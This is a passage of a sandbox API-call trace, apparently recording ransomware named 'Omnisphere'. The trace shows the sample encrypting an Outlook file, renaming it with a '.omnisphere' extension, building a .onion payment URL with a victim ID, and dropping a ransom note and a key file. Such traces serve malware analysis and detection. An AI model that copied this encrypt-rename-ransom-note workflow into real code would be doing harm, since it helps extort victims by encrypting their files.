dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.712] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.712] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.712] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.712] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.712] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.712] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.712] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.712] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.712] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.712] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.712] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.712] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.712] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.712] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.712] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.713] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.713] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.713] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.713] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.713] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.713] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.713] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.713] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.713] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.713] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.713] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.713] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.713] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.713] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.713] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.713] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.713] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.713] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.713] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.713] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.713] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.714] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.714] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.714] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.714] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.714] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.714] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.714] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.714] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.714] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.714] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.714] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.714] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.714] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.714] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.714] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.714] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.714] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.714] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.714] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.714] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.715] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.715] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.715] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.715] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.715] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.715] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.715] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.715] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.715] CryptDestroyKey (hKey=0x1639b28) returned 1 [0116.715] CryptReleaseContext (hProv=0x16681b8, dwFlags=0x0) returned 1 [0116.715] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x916, lpNewFilePointer=0x0, dwMoveMethod=0x3e0dcbc | out: lpNewFilePointer=0x0) returned 1 [0116.715] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0dcd0, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0dcd0*=0x524, lpOverlapped=0x0) returned 1 [0116.715] GetProcessHeap () returned 0x1600000 [0116.715] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x29a) returned 0x1692ce0 [0116.715] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\outlook\\outlook.xml"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\outlook\\outlook.xml.omnisphere")) returned 1 [0116.718] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.omnisphere.id" [0116.718] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\outlook\\outlook.xml.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0116.718] WriteFile (in: hFile=0x288, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d758, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0d758*=0x524, lpOverlapped=0x0) returned 1 [0116.720] CloseHandle (hObject=0x288) returned 1 [0116.720] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0116.721] CloseHandle (hObject=0x28c) returned 1 [0116.721] SetEndOfFile (hFile=0x3a0) returned 1 [0116.721] FlushFileBuffers (hFile=0x3a0) returned 1 [0116.726] CloseHandle (hObject=0x3a0) returned 1 [0116.726] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook") returned 1 [0116.726] GetProcessHeap () returned 0x1600000 [0116.726] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1692f88 [0116.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0116.726] GetProcessHeap () returned 0x1600000 [0116.726] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x161c428 [0116.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x161c428, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0116.727] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0116.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0116.727] GetProcessHeap () returned 0x1600000 [0116.727] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16872a8 [0116.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16872a8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0116.727] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0116.727] GetProcessHeap () returned 0x1600000 [0116.727] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa2) returned 0x162d2e8 [0116.727] PathCombineW (in: pszDest=0x162d2e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\!DECRYPT_OMNISPHERE.txt" [0116.727] GetProcessHeap () returned 0x1600000 [0116.727] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x168e638 [0116.727] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\outlook\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0116.727] WriteFile (in: hFile=0x3a0, lpBuffer=0x168e638*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0dcf0, lpOverlapped=0x0 | out: lpBuffer=0x168e638*, lpNumberOfBytesWritten=0x3e0dcf0*=0x588, lpOverlapped=0x0) returned 1 [0116.728] CloseHandle (hObject=0x3a0) returned 1 [0116.728] GetProcessHeap () returned 0x1600000 [0116.728] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1692f88 | out: hHeap=0x1600000) returned 1 [0116.728] GetProcessHeap () returned 0x1600000 [0116.728] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x98) returned 0x165e048 [0116.728] PathCombineW (in: pszDest=0x165e048, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\unique_decrypt.key" [0116.728] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\outlook\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0116.728] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0dd04, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0dd04*=0x5a0, lpOverlapped=0x0) returned 1 [0116.729] CloseHandle (hObject=0x3a0) returned 1 [0116.729] GetProcessHeap () returned 0x1600000 [0116.729] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e048 | out: hHeap=0x1600000) returned 1 [0116.729] GetProcessHeap () returned 0x1600000 [0116.729] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167b740 | out: hHeap=0x1600000) returned 1 [0116.729] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd629eb7, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xdd629eb7, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xdd650107, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x916, dwReserved0=0x0, dwReserved1=0xdb, cFileName="Outlook.xml", cAlternateFileName="")) returned 0 [0116.729] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0116.729] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b1656b, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x26a9e427, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26a9e427, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0116.729] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b1656b, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x26a9e427, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26a9e427, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0116.730] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a7824a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26a7824a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26ac4959, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0116.730] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac358392, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xac358392, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0x26a52133, 